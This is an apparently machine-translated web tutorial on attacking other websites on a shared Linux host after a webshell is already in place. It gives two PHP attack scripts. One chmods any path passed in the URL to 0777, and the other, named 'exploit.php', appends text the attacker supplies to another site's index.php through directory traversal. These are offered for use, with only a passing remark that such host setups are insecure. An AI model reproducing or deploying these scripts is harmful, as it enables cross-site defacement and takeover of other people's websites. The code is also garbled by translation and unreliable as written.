Home > Cloud Computing > Cloud Security

Modify file permissions using WEBSHELL in LINUX, cross-site

Source: Internet
Author: User
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

When we have a linux shell (multiple websites on the server ).
This shell has the write permission to the root directory of the website, and can even view the directories of other websites.
Therefore, such host settings are definitely insecure.
Sometimes, we want to obtain the permissions of other sites on the same server, such as directly modifying index. php of other sites, but we find that there is no permission.
We can use the following script to add permissions to files on other sites.
Code:

<? Php
$ Path = stripslashes ($ _ GET [& apos; path & apos;]);
$ OK = chmod ($ path, 0777 );
If ($ OK = true)
Echo chmod OK, Permission editable file or directory. Permission to write;
?>
Save as chmod. PHP
Easy to use, access

Http://www.bkjia.com/chmod.php? Path = ../directory of other sites/index. php

Here, index. PHP is the file for permission modification.
Another exploit:
Save the following code as exploit. PHP
Code:

<? Php
@ $ Filename = stripslashes ($ _ POST [& apos; filename & apos;]);
@ $ Mess = stripslashes ($ _ POST [& apos; mess & apos;]);
$ Fp = @ fopen ({$ _ POST [& apos; filename & apos;]}, & apos; a & apos ;);
@ Fputs ($ fp, $ mess @ Fclose ($ fp );
?>
<Form name = form1 action = exploit. php method = post>
<P align = center> <B>
<Br>
CODE: <br>
<Textarea name = mess rows = 3> </textarea> </font> </B> </textarea>
</Font> </B> <p> <input type = hidden name = filename value = .. /.. /autre website sur le multihosting/index. php> </p>
<Center>
<Input type = reset name = Submit value = Delete>
<Input name = go type = submit value = Send onClick = javascript: this. style. visibility = & apos; hidden & apos;>
<Center>
</Form>
<Meta http-equiv = Content-Type content = text/html; charset = iso-8859-1>
<Title> Changing CHMOD Permissions Exploit-Contact: the_gl4di4t0r [AT] hotmail [DOT] com </title>
</Head>
<Body>
</Center>
</Body>

 

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More